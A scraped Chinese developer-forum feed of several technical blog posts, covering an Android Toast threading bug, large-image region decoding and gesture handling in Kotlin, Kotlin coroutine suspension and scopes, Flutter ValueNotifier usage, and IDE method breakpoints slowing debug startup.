确实当前线程是JavaBridge线程,另外JavaBridge线程中已经提前给开发者准备好了Looper。所以也难怪一方面奇怪自己怎么没有写Looper的印象,一方面又很好奇为什么这个线程在开发者没有准备Looper的情况下也能正常弹出Toast。


总结


至此,真相终于找出来了。


相比较发生这个bug 的原因,解决方案就显得非常简单了。


只需要在CommonToast的showShortToast方法内部判断是否为主线程调用,如果不是的话,new一个主线程的Handler,将Toast扔到主线程弹出来。


这样就会避免了子线程弹出。


PS:本人还得吐槽一下Android,Android官方一方面明明宣称不能在主线程以外的线程进行UI的更新,**另一方面在初始化ViewRootImpl的时候又不把主线程作为成员变量保存起来,而是直接获取当前所处的线程作为mThread保存起来,这样做就有可能会出现子线程更新UI的操作。**从而引起类似我今天的这个bug。


作者:anyRTC
链接:https://juejin.cn/post/7130824794060587016
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android性能优化 -- 大图治理

在实际的Android项目开发中,图片是必不可少的元素,几乎所有的界面都是由图片构成的;像列表页、查看大图页等,都是需要展示图片,而且这两者是有共同点的,列表展示的Item数量多,如果全部加载进来势必会造成OOM,因此列表页通常采用分页加载,加上Recycle...
继续阅读 »

在实际的Android项目开发中,图片是必不可少的元素,几乎所有的界面都是由图片构成的;像列表页、查看大图页等,都是需要展示图片,而且这两者是有共同点的,列表展示的Item数量多,如果全部加载进来势必会造成OOM,因此列表页通常采用分页加载,加上RecyclerView的复用机制,一般很少会发生OOM。


但是对于大图查看,通常在外界展示的是一张缩略图,点开之后放大就是原图,如果图片很大,OOM发生也是正常的,因此在加载大图的时候,可以看下面这张图


image.png


一张图片如果很大,在手机屏幕中并不能完全展示,那么其实就没有必要讲图片完全加载进来,而是可以采用分块加载的方式,只展示显示的那一部分,当图片向上滑动的时候,之前展示的区域内存能够复用,不需要开辟新的内存空间来承接新的模块,从而达到了大图的治理的目的。


1 自定义大图View


像在微信中点击查看大图,查看大图的组件就是一个自定义View,能够支持滑动、拖拽、放大等功能,因此我们也可以自定义一个类似于微信的大图查看器,从中了解图片加载优化的魅力


1.1 准备工作


class BigView : View{

constructor(context: Context):super(context){
initBigView(context)
}
constructor(context: Context,attributeSet: AttributeSet):super(context,attributeSet){
initBigView(context)
}

private fun initBigView(context: Context) {

}

}

本节使用的语言为kotlin,需要java代码的伙伴们可以找我私聊哦。


网站总数据测评展示信息长图设计__2022-08-13+16_36_25.jpeg
这个是我从网站上找的一张长图,大概700K左右,需要的可以自行下载,其实想要了解其中的原理和实现,不一定要找一张特别大的图片,所有的问题都是举一反三的。


class BigView : View, GestureDetector.OnGestureListener, View.OnTouchListener {

//分块加载
private lateinit var mRect: Rect

//内存复用
private lateinit var mOptions: BitmapFactory.Options

//手势
private lateinit var mGestureDetector: GestureDetector

//滑动
private lateinit var mScroller: Scroller

constructor(context: Context) : super(context) {
initBigView(context)
}

constructor(context: Context, attributeSet: AttributeSet) : super(context, attributeSet) {
initBigView(context)
}

private fun initBigView(context: Context) {
mRect = Rect()
mOptions = BitmapFactory.Options()
mGestureDetector = GestureDetector(context, this)
mScroller = Scroller(context)
setOnTouchListener(this)
}

override fun onDown(e: MotionEvent?): Boolean {
return false
}

override fun onShowPress(e: MotionEvent?) {

}

override fun onSingleTapUp(e: MotionEvent?): Boolean {
return false
}

override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
return false
}

override fun onLongPress(e: MotionEvent?) {

}

override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
return false
}

override fun onTouch(v: View?, event: MotionEvent?): Boolean {
return false
}

}

前面我们提到的分块加载、内存复用、手势等操作,直接在view初始化时完成,这样我们前期的准备工作就完成了。


1.2 图片宽高适配


当我们加载一张图片的时候,要让这张图片完全展示在手机屏幕上不被裁剪,就需要做宽高的适配;如果这张图片大小是80M,那么为了获取宽高而将图片加载到内存中肯定会OOM,那么在图片加载到内存之前就像获取图片的宽高该怎么办呢?BitmapFactory.Options就提供了这个手段


fun setImageUrl(inputStream: InputStream) {
//获取图片宽高
mOptions.inJustDecodeBounds = true

BitmapFactory.decodeStream(inputStream,null,mOptions)
imageWidth = mOptions.outWidth
imageHeight = mOptions.outHeight

mOptions.inJustDecodeBounds = false

//开启复用
mOptions.inMutable = true
mOptions.inPreferredConfig = Bitmap.Config.RGB_565

//创建区域解码器
try {
BitmapRegionDecoder.newInstance(inputStream,false)
}catch (e:Exception){

}
requestLayout()
}

当设置inJustDecodeBounds为true(记住要成对出现,使用完成之后需要设置为false),意味着我调用decodeStream方法的时候,不会将图片的内存加载而是仅仅为了获取宽高。


然后拿到了图片的宽高之后呢,调用requestLayout方法,会回调onMeasure方法,这个方法大家就非常熟悉了,能够拿到view的宽高,从而完成图片的适配


override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight

originScale = viewWidth / imageWidth.toFloat()
mScale = originScale

//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = imageWidth
mRect.bottom = (viewHeight / mScale).toInt()

}

这里设置Rect的right就是图片的宽度,因为原始图片的宽度可能比控件的宽度要宽,因此是将控件的宽度与图片的宽度对比获取了缩放比,那么Rect的bottom就需要等比缩放


这里的mRect可以看做是这张图片上的一个滑动窗口,无论是放大还是缩小,只要在屏幕上看到的区域,都可以看做是mRect在这张图片上来回移动截取的目标区域


1.3 BitmapRegionDecoder


在onMeasure中,我们定义了需要加载的图片的Rect,这是一块区域,那么我们通过什么样的方式能够将这块区域的图片加载出来,就是通过BitmapRegionDecoder区域解码器。


区域解码器,顾名思义,能够在某个区域进行图片解码展示


//创建区域解码器
try {
BitmapRegionDecoder.newInstance(inputStream,false)
}catch (e:Exception){

}

在传入图片流的时候,我们就已经创建了BitmapRegionDecoder,同时将图片流作为参数构建了解码器,那么这个解码器其实已经拿到了整张图片的资源,因此任意一块区域,通过BitmapRegionDecoder都能够解码展示出来


override fun onDraw(canvas: Canvas?) {
super.onDraw(canvas)
mRegionDecoder ?: return

//复用bitmap
mOptions.inBitmap = mutableBitmap
mutableBitmap = mRegionDecoder?.decodeRegion(mRect, mOptions)
//画出bitmap
val mMatrix = Matrix()
mMatrix.setScale(mScale, mScale)
mutableBitmap?.let {
canvas?.drawBitmap(it, mMatrix, null)
}
}

首先我们想要进行内存复用,需要调用BitmapFactory.Options的inBitmap,这个参数的含义就是,当我们在某块区域加载图片之后,如果图片上滑那么就需要重新加载,那么这个时候就不会重新开辟一块内存空间,而是复用之前的这块区域,所以调用BitmapRegionDecoder的decodeRegion方法,传入需要展示图片的区域,就能够给mutableBitmap赋值,这样就达成了一块内存空间,多次复用的效果。


image.png


这样通过压缩之后,在屏幕中展示了这个长图的最上边部分,那么剩下就需要做的是手势事件的处理。


2 大图View的手势事件处理


通过前期的准备工作,我们已经实现了图片的区域展示,那么接下来关键在于,我们通过手势来查看完整的图片,对于手势事件的响应,在onTouch方法中处理。


override fun onTouch(v: View?, event: MotionEvent?): Boolean {
return mGestureDetector.onTouchEvent(event)
}

2.1 GestureDetector


通常来说,手势事件的处理都是通过GestureDetector来完成,因此当onTouch方法监听到手势事件之后,直接传给GestureDetector,让GestureDetector来处理这个事件。


override fun onDown(e: MotionEvent?): Boolean {
return false
}

override fun onShowPress(e: MotionEvent?) {

}

override fun onSingleTapUp(e: MotionEvent?): Boolean {
return false
}

override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
return false
}

override fun onLongPress(e: MotionEvent?) {

}

override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
return false
}

首先,我们先看下之前注册的GestureDetector.OnGestureListener监听器中实现的方法:


(1)onDown


override fun onDown(e: MotionEvent?): Boolean {

if(!mScroller.isFinished){
mScroller.forceFinished(true)
}
return true
}

当手指按下时,因为滑动的惯性,所以down事件的处理就是如果图片还在滑动时,按下就停止滑动;


(2)onScroll


那么当你的手指按下之后,可能还会继续滑动,那么就是会回调到onScroll方法,在这个方法中,主要做滑动的处理


override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {

mRect.offset(0, distanceY.toInt())
//边界case处理
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}

if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}
postInvalidate()
return false
}

在onScroll方法中,其实已经对滑动的距离做了计算(这个真的太nice了,不需要我们自己手动计算),因此只需要对mRect展示区域进行变换即可;


但是这里会有两个边界case,例如滑动到底部时就不能再滑了,这个时候,mRect的底部很可能都已经超过了图片的高度,因此需要做边界的处理,那么滑动到顶部的时候同样也是需要做判断。


图片滑动到底部的展示


(3)onFling


惯性滑动。我们在使用列表的时候,我们在滑动的时候,虽然手指的滑动距离很小,但是列表划出去的距离却很大,就是因为惯性,所以GestureDetector中对惯性也做了处理。


override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {

mScroller.fling(0, mRect.top, 0, -velocityY.toInt(), 0, 0, 0, imageHeight - viewHeight)

return false
}


//计算惯性
override fun computeScroll() {
super.computeScroll()
if (mScroller.isFinished) {
return
}
if (mScroller.computeScrollOffset()) {
//正在滑动
mRect.top = mScroller.currY
mRect.bottom = mScroller.currY + (viewHeight / mScale).toInt()
postInvalidate()
}
}

这个还是比较好理解的,就是设置最大的一个惯性滑动距离,无论怎么滑动,边界值就是从顶部一划到底,这个最大的距离就是 imageHeight - viewHeight


设置了惯性滑动的距离,那么在惯性滑动时,也需要实时改变mRect的解码范围,需要重写computeScroll方法,判断如果是正在滑动(通过 mScroller.computeScrollOffset() 判断),那么需要改变mRect的位置。


2.2 双击放大效果处理


我们在使用app时,双击某张图片或者双指拉动某张图片的时候,都会讲图片放大,这也是业内主流的两种图片放大的方式。


override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight

//缩放比
val radio = viewWidth / imageWidth.toFloat()
//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = imageWidth
mRect.bottom = viewHeight

}

我们先看一下不能缩放时,mRect的赋值;那么当我们双击放大时,left和top的位置不会变,因为图片放大了,但是控件的大小不会变,因此left的最大值就是控件的宽度,bottom的最大值就是控件的高度。


override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight

originScale = viewWidth / imageWidth.toFloat()
mScale = originScale

//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = Math.min(imageWidth, viewWidth)
mRect.bottom = Math.min((viewHeight / mScale).toInt(), viewHeight)

}

这里就将onMeasure进行改造;那么对于双击事件的处理,可以使用GestureDetector.OnDoubleTapListener来处理,在onDoubleTap事件中回调。


override fun onDoubleTap(e: MotionEvent?): Boolean {

if (mScale < originScale * 2) {
mScale = originScale * 2
} else {
mScale = originScale
}

postInvalidate()
return false
}

这里做了缩放就是判断mScale的值,因为一开始进来不是缩放的场景,因此 mScale = originScale,当双击之后,需要将mScale扩大2倍,当重新绘制的时候,Bitmap就放大了2倍。


那么当图片放大之后,之前横向不能滑动现在也可以滑动查看图片,所以需要处理,同时也需要考虑边界case


override fun onDoubleTap(e: MotionEvent?): Boolean {

if (mScale < originScale * 2) {
mScale = originScale * 2
} else {
mScale = originScale
}
//
mRect.right = mRect.left + (viewWidth / mScale).toInt()
mRect.bottom = mRect.top + (viewHeight / mScale).toInt()

if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}

if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}

if(mRect.right > imageWidth){
mRect.right = imageWidth
mRect.left = imageWidth - (viewWidth / mScale).toInt()
}

if(mRect.left < 0){
mRect.left = 0
mRect.right = (viewWidth / mScale).toInt()
}

postInvalidate()
return false
}

当双击图片之后,mRect解码的区域也随之改变,因此需要对right和bottom做相应的改变,图片放大或者缩小,都是在控件宽高的基础之上


override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {

mRect.offset(distanceX.toInt(), distanceY.toInt())
//边界case处理
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}

if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}

if(mRect.left < 0){
mRect.left = 0
mRect.right = (viewWidth / mScale).toInt()
}

if(mRect.right > imageWidth){
mRect.right = imageWidth
mRect.left = imageWidth - (viewWidth / mScale).toInt()
}

postInvalidate()
return false
}

因为需要左右滑动,那么onScroll方法也需要做相应的改动,mRect的offset需要加上x轴的偏移量。


2.3 手指放大效果处理


上一小节介绍了双击事件的效果处理,那么这一节就介绍另一个主流的放大效果实现 - 手指缩放,是依赖
ScaleGestureDetector,其实跟GestureDetector的使用方式一致,这里就不做过多的赘述。


mScaleGestureDetector = ScaleGestureDetector(context, ScaleGesture())
复制代码

在初始化ScaleGestureDetector的时候,需要传入一个ScaleGesture内部类,集成ScaleGestureDetector.SimpleOnScaleGestureListener,在onScale方法中获取缩放因子来绘制


inner class ScaleGesture : ScaleGestureDetector.SimpleOnScaleGestureListener() {
override fun onScale(detector: ScaleGestureDetector?): Boolean {

var scale = detector?.scaleFactor ?: mScale//可以代替mScale
if (scale < originScale) {
scale = originScale
} else if (scale > originScale * 2) {
scale = originScale * 2
}

//在原先基础上缩放
mRect.right = mRect.left + (viewWidth / scale).toInt()
mRect.bottom = mRect.top + (viewHeight / scale).toInt()

mScale = scale
postInvalidate()

return super.onScale(detector)
}
}

这里别忘记了别事件传递出来,对于边界case可自行处理


override fun onTouch(v: View?, event: MotionEvent?): Boolean {
mGestureDetector.onTouchEvent(event)
mScaleGestureDetector.onTouchEvent(event)
return true
}

下面附上大图治理的流程图


image.png


黄颜色模块: BitmapFactory.Options配置,避免整张大图直接加载在内存当中,通过开启内存复用(inMutable),使用区域解码器,绘制一块可见区域‘


浅黄色模块: View的绘制流程


作者:A帝
链接:https://juejin.cn/post/7131385674694918180
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

分享Kotlin协程在Android中的使用

前言 之前我们学了几个关于协程的基础知识,本文将继续分享Kotlin协程的知识点~挂起,同时介绍协程在Android开发中的使用。 正文 挂起 suspend关键字 说到挂起,那么就会离不开suspend关键字,它是Kotlin中的一个关键字,它的中文意思是暂...
继续阅读 »

前言


之前我们学了几个关于协程的基础知识,本文将继续分享Kotlin协程的知识点~挂起,同时介绍协程在Android开发中的使用。


正文


挂起


suspend关键字


说到挂起,那么就会离不开suspend关键字,它是Kotlin中的一个关键字,它的中文意思是暂停或者挂起。


以下是通过suspend修饰的方法:


suspend fun suspendFun(){
   withContext(Dispatchers.IO){
       //do db operate
  }
}

通过suspend关键字来修饰方法,限制这个方法只能在协程里边调用,否则编译不通过。


suspend方法其实本身没有挂起的作用,只是在方法体力便执行真正挂起的逻辑,也相当于提个醒。如果使用suspend修饰的方法里边没有挂起的操作,那么就失去了它的意义,也就是无需使用。


虽然我们无法正常去调用它,但是可以通过反射去调用:


suspend fun hello() = suspendCoroutine<Int> { coroutine ->
   Log.i(myTag,"hello")
   coroutine.resumeWith(kotlin.Result.success(0))
}

//通过反射来调用:
fun helloTest(){
   val helloRef = ::hello
   helloRef.call()
}
//抛异常:java.lang.IllegalArgumentException: Callable expects 1 arguments, but 0 were provided.

fun helloTest(){
   val helloRef = ::hello
   helloRef.call(object : Continuation<Int>{
       override val context: CoroutineContext
           get() = EmptyCoroutineContext

       override fun resumeWith(result: kotlin.Result<Int>) {
           Log.i(myTag,"result : ${result.isSuccess} value:${result.getOrNull()}")
      }
  })
}
//输出:hello

挂起与恢复


看一个方法:


public suspend inline fun <T> suspendCancellableCoroutine(
   crossinline block: (CancellableContinuation<T>) -> Unit
): T =
   suspendCoroutineUninterceptedOrReturn { uCont ->
       val cancellable = CancellableContinuationImpl(uCont.intercepted(), resumeMode = MODE_CANCELLABLE)
       block(cancellable)
       cancellable.getResult()
  }

这是Kotlin协程提供的api,里边虽然只有短短的三句代码,但是实现甚是复杂而且关键。


继续跟进看看getResult()方法:


internal fun getResult(): Any? {
   installParentCancellationHandler()
   if (trySuspend()) return COROUTINE_SUSPENDED//返回此对象表示挂起
   
   val state = this.state
   if (state is CompletedExceptionally) throw recoverStackTrace(state.cause, this)
   
   if (resumeMode == MODE_CANCELLABLE) {//检查
       val job = context[Job]
       if (job != null && !job.isActive) {
           val cause = job.getCancellationException()
           cancelResult(state, cause)
           throw recoverStackTrace(cause, this)
      }
  }
   return getSuccessfulResult(state)//返回结果
}

最后写一段代码,然后转为Java看个究竟:


fun demo2(){
   GlobalScope.launch {
       val user = requestUser()
       println(user)
       val state = requestState()
       println(state)
  }
}

编译后生成的代码大致流程如下:


 public final Object invokeSuspend(Object result) {
      ...
       Object cs = IntrinsicsKt.getCOROUTINE_SUSPENDED();//上面所说的那个Any:CoroutineSingletons.COROUTINE_SUSPENDED
       switch (this.label) {
           case 0:
               this.label = 1;
               user = requestUser(this);
               if(user == cs){
                   return user
                }
               break;
           case 1:
               this.label = 2;
               user = result;
               println(user);
               state = requestState(this);
               if(state == cs){
                   return state
                }
               break;
           case 2:
              state = result;
              println(state)
               break;
      }
  }

当协程挂起后,然后恢复时,最终会调用invokeSuspend方法,而协程的block代码会封装在invokeSuspend方法中,使用状态来控制逻辑的实现,并且保证顺序执行。


通过以上我们也可以看出:



  • 本质上也是一个回调,Continuation

  • 根据状态进行流转,每遇到一个挂起点,就会进行一次状态的转移。


协程在Android中的使用


举个例子,使用两个UseCase来模拟挂起的操作,一个是网络操作,另一个是数据库的操作,然后操作ui,我们分别看一下代码上面的区别。


没有使用协程:


//伪代码
mNetworkUseCase.run(object: Callback {
onSuccess(user: User) {
    mDbUseCase.insertUser(user, object: Callback{
        onSuccess() {
            MainExcutor.excute({
                 tvUserName.text = user.name
              })
          }
      })
  }
})

我们可以看到,用回调的情况下,只要对数据操作稍微复杂点,回调到主线程进行ui操作时,很容易就嵌套了很多层,导致了代码难以看清楚。那么如果使用协程的话,这种代码就可以得到很大的改善。


使用协程:


private fun requestDataUseGlobalScope(){
  GlobalScope.launch(Dispatchers.Main){
//模拟从网络获取用户信息
       val user = mNetWorkUseCase.requireUser()
//模拟将用户插入到数据库
       mDbUseCase.insertUser(user)
//显示用户名
       mTvUserName.text = user.name
  }
}

对以上函数作说明:



  • 通过GlobalScope开启一个顶层协程,并制定调度器为Main,也就是该协程域是在主线程中运行的。

  • 从网络获取用户信息,这是一个挂起操作

  • 将用户信息插入到数据库,这也是一个挂起操作

  • 将用户名字显示,这个操作是在主线程中。


由此在这个协程体中就可以一步一步往下执行,最终达到我们想要的结果。


如果我们需要启动的线程越来越多,可以通过以下方式:


private fun requestDataUseGlobalScope1(){
   GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

private fun requestDataUseGlobalScope2(){
   GlobalScope.launch(Dispatchers.IO){
       //do something
  }
}

private fun requestDataUseGlobalScope3(){
   GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

但是平时使用,我们需要注意的就是要在适当的时机cancel掉,所以这时我们需要对每个协程进行引用:



private var mJob1: Job? = null
private var mJob2: Job? = null
private var mJob3: Job? = null

private fun requestDataUseGlobalScope1(){
   mJob1 = GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

private fun requestDataUseGlobalScope2(){
   mJob2 = GlobalScope.launch(Dispatchers.IO){
       //do something
  }
}

private fun requestDataUseGlobalScope3(){
   mJob3 = GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

如果是在Activity中,那么可以在onDestroy中cancel掉


override fun onDestroy() {
   super.onDestroy()
   mJob1?.cancel()
   mJob2?.cancel()
   mJob3?.cancel()
}

可能你发现了一个问题:如果启动的协程不止是三个,而是更多呢?


没错,如果我们只使用GlobalScope,虽然能够达到我们的要求,但是每次我们都需要去引用他,不仅麻烦,还有一点是它开启的顶层协程,如果有遗漏了,则可能出现内存泄漏。所以我们可以使用kotlin协程提供的一个方法MainScope()来代替它:


private val mMainScope = MainScope()

private fun requestDataUseMainScope1(){
   mMainScope.launch(Dispatchers.IO){
       //do something
  }
}
private fun requestDataUseMainScope2(){
   mMainScope.launch {
       //do something
  }
}
private fun requestDataUseMainScope3(){
   mMainScope.launch {
       //do something
  }
}

可以看到用法基本一样,但有一点很方便当我们需要cancel掉所有的协程时,只需在onDestroy方法cancel掉mMainScope就可以了:


override fun onDestroy() {
   super.onDestroy()
   mMainScope.cancel()
}

MainScope()方法:


@Suppress("FunctionName")
public fun MainScope(): CoroutineScope = ContextScope(SupervisorJob() + Dispatchers.Main)

使用的是一个SupervisorJob(制定的协程域是单向传递的,父传给子)和Main调度器的组合。


在平常开发中,可以的话使用类似于MainScope来启动协程。


结语


本文的分享到这里就结束了,希望能够给你带来帮助。关于Kotlin协程的挂起知识远不止这些,而且也不容易理清,还是会继续去学习它到底用哪些技术点,深入探究原理究竟是如何。


作者:敖森迪
链接:https://juejin.cn/post/7130427677432872968
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter中的ValueNotifier和ValueListenableBuilder

在这篇文章中,我们将深入探讨ValueNotifier及其相应的主题。 ValueNotifier简介 ValueNotifier是继承自ChangeNotifier的一个类。该类可以保存单个值,并每当其持有值更改时会通知正在监听它的Widget。ValueN...
继续阅读 »

在这篇文章中,我们将深入探讨ValueNotifier及其相应的主题。


ValueNotifier简介


ValueNotifier是继承自ChangeNotifier的一个类。该类可以保存单个值,并每当其持有值更改时会通知正在监听它的WidgetValueNotifier还是非常有用得,性能高效,因为它只重建使用ValueListenableBuilder监听它的Widget


ValueNotifier使用


将ValueNotifier视为保留值的数据流。我们为它提供一个值,每个监听器都会收到值变化的通知。

我们可以创建任何类型的int、bool、list或任何自定义数据类型的ValueNotifier。您可以像这样创建一个ValueNotifier对象:


ValueNotifier<int> counter = ValueNotifier<int>(0);

我们可以像这样更新值:


counter.value = counter.value++;
//或者
counter.value++;

此外,我们可以像这样监听ValueNotifier


counter.addListener((){
print(counter.value);
});

删除值通知监听器


如果我们手动监听ValueNotifier,当前页面上不使用时,我们可以使用removeListener函数从ValueNotifier中手动删除侦听器。


ValueNotifier<int> valueNotifier = ValueNotifier(0);

void remove() {
valueNotifier.removeListener(doTaskWhenNotified);
}

void add(){
valueNotifier.addListener(doTaskWhenNotified);
}

void doTaskWhenNotified() {
print(valueNotifier.value);
}

释放ValueNotifier


当不再使用时调用dispose方法是一个良好做法,否则可能会导致内存泄漏。ValueNotifier上的dispose方法将释放任何订阅的监听器。


@override
void dispose() {
counter.dispose();
super.dispose();
}

什么是ValueListenableBuilder?


Flutter中有许多类型的构建器,如StreamBuilderAnimatedBuilderFutureBuilder等,他们的名字表明他们是消费的对象类型。ValueListenableBuilder使用ValueNotifier对象,如果我们想在Widget中的监听某一个值,我们可以使用ValueListenableBuilder,每次我们收到值更新时,都会执行构建器方法。当我们路由到另一个页面时,ValueListenableBuilder会自动在内部删除监听。


const ValueListenableBuilder({
required this.valueListenable,
required this.builder,
this.child,
})

这是ValueListenableBuilder的构造函数。在这里,valueListenable是要收听的ValueNotifier。构建器函数接收3个参数(BuildContext context, dynamic value, Widget child),该value是从提供的valueNotifier收到的数据。可以使用子参数。如果子构建成本高,并且不依赖于通知符的值,我们将使用它进行优化。


使用Value Notifier的计数器应用程序


使用ValueNotiferValueListenableBuilder的计数器应用程序,这里没有使用setState,当值发生改变的时候,我们只重建文本部分。


import 'package:flutter/material.dart';

void main() {
runApp(const App());
}

class App extends StatelessWidget {
const App({Key? key}) : super(key: key);

@override
Widget build(BuildContext context) {
return const MaterialApp(
home: HomePage(),
);
}
}

class HomePage extends StatefulWidget {
const HomePage({Key? key}) : super(key: key);

@override
State<HomePage> createState() => _HomePageState();
}

class _HomePageState extends State<HomePage> {
final _counterNotifier = ValueNotifier<int>(0);

@override
Widget build(BuildContext context) {
print('HOMEPAGE BUILT');
return Scaffold(
appBar: AppBar(title: const Text('Counter App')),
body: Center(
child: ValueListenableBuilder(
valueListenable: _counterNotifier,
builder: (context, value, _) {
return Text('Count: $value');
},
),
),
floatingActionButton: FloatingActionButton(
onPressed: () {
_counterNotifier.value++;
},
child: const Icon(Icons.add),
),
);
}

@override
void dispose() {
_counterNotifier.dispose();
super.dispose();
}
}

作者:Eau_z
链接:https://juejin.cn/post/7132000226331590692
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

千万不要在方法上打断点!有大坑!

你好呀,我是歪歪。我上周遇到了一个莫名其妙的搞心态的问题,浪费了我好几个小时。气死我了,拿这几个小时来敲(摸)代(摸)码(鱼)不香吗?主要是最后问题的解决方式也让我特别的无语,越想越气,写篇文章吐槽一下。先说结论,也就是标题:在本地以 Debug 模式启动项目...
继续阅读 »

千万不要在方法上打断点!有大坑!

你好呀,我是歪歪。

我上周遇到了一个莫名其妙的搞心态的问题,浪费了我好几个小时。

气死我了,拿这几个小时来敲(摸)代(摸)码(鱼)不香吗?

主要是最后问题的解决方式也让我特别的无语,越想越气,写篇文章吐槽一下。

先说结论,也就是标题:

在本地以 Debug 模式启动项目的时候,千万不要在方法上打断点!千万不要!

首先什么是方法断点呢?

比如这样的,打在方法名这一行的断点:

你点击 IDEA 里面的下面这个图标,View Breakpoints,它会给你弹出一个框。

这个弹框里面展示的就是当前项目里面所有的断点,其中有一个复选框,Java Method Breakpoints,就是当前项目里面所有的“方法断点”:

那么这个玩意到底有什么坑呢?

当项目以 Debug 模式启动的时候,非常非常非常严重的拖慢启动速度。

给你看两个截图。

下面这个是我本地的一个非常简单的项目,没有方法断点的时候,只要 1.753 秒就启动完成了:

但是当我加上一个方法断点的时候,启动时间直接来到了 35.035 秒:

从 1.7 秒直接飙升到 35 秒,启动时间涨幅 2000%。

你说遭不遭得住?

遭不住,对不对。

那么我是怎么踩到这个坑的呢?

一个同事说他项目里面遇到一个匪夷所思的 BUG,想让我帮忙一起看看。

于是我先把项目拉了下来,然后简单的看了一下代码,准备把项目先在本地跑起来调试一下。

然而半个小时过去了,项目还没起来。我问他:这个项目本地启动时间怎么这么长呢?

他答:正常来说半分钟应该就启动起来了呀。

接着他还给我演示了一下,在他那边确实 30 多秒就启动成功了。

很明显,一样的代码,一个地方启动慢,一个地方启动快,首先怀疑环境问题。

于是我准备按照下面的流程走一次。

检查设置 -> 清空缓存 -> 换workspace -> 重启 -> 换电脑 -> 辞职

我检查了所有的配置、启动项、网络连接什么的,确保和他本地的环境是一模一样的。

这一套操作下来,差不多一小时过去了,并没有找到什么头绪。

但是那个时候我一点都不慌,我还有终极绝招:重启。

毕竟我的电脑已经好几个月没有关闭过了,重启一下也挺好的。

果然,重启了电脑之后,还是没有任何改变。

正在焦头烂额之际,同事过来问我啥进度了。

我能怎么说?

我只能说:从时间上来说应该解决了,但是实际上我连项目都还没启动成功。

听到这话,他坐在我的工位,准备帮我看一下。

半分钟之后,一个神奇的场景出现了,他在我的电脑上直接就把项目启动起来了。

一盘问,他并没有以 Debug 的模式启动,而是直接运行的。

用脚趾头想也知道,肯定是 Debug 模式在搞事情。

然后基于面向浏览器编程的原则,我现在有了几个关键词:IDEA debug 启动缓慢。

然后发现有很多人遇到了类似的问题,解决方法就是启动的时候取消项目里面的“方法断点”。

但是,遗憾的是,没有大多数文章都是说这样做就好了。但是并没有告诉我为什么这样做就好了。

我很想知道为什么会有这个坑,因为我用方法断点用的还是很多的,关键是以前在使用的过程中完全没有注意到还有这个坑。

“方法断点”还是非常实用的,比如我随便个例子。

之前写事务相关的文章的时候,提到过这样的一个方法:

java.sql.Connection#setAutoCommit

setAutoCommit 这个方法有好几个实现类,我也不知道具体会走哪一个:

所以,调试的时候可以在下面这个接口打上一个断点:

然后重启程序,IDEA 会自动帮你判断走那个实现类的:

但是需要特别说明的是,不是所有的方法断点都会导致启动缓慢的问题。至少在我本地看起来是这样的。

当我把方法断点加在 Mapper 的接口里面的时候,能稳定复现这个问题:

当把方法断点加在项目的其他方法上的时候,不是必现的,偶尔才会出现这个问题。

另外,其实当你以 Debug 模式启动且带有方法断点的时候,IDEA 是会弹出这个提醒,告诉你方法断点会导致 Debug 缓慢的问题:

但是,真男人,从不看提醒。反正我是直接就忽略了,根本没有关心弹窗的内容。

至于为什么会在 Mapper 的接口上打方法断点?

都怪我手贱,行了吧。

到底为什么

在找答案的过程中,我发现了这个 idea 的官方社区的链接:

intellij-support.jetbrains.com/hc/en-us/ar…

这个贴子,是 JetBrains Team 发布的,关于 Debug 功能可能会导致的性能缓慢的问题。

在这个帖子中,第一个性能点,就是 Method breakpoints。

官方是怎么解释这个问题的呢?

我给你翻译一波。

Method breakpoints will slow down debugger a lot because of the JVM design, they are expensive to evaluate.

他们说由于 JVM 的设计,方法断点会大大降低调试器的速度,因为这玩意的 “evaluate” 成本很高。

evaluate,四级单词,好好记一下,考试会考:

大概就是说你要用方法断点的功能,在启动过程中,就涉及到一个关于该断点进行“评估”的成本。成本就是启动缓慢。

怎么解决这个“评估”带来的成本呢?

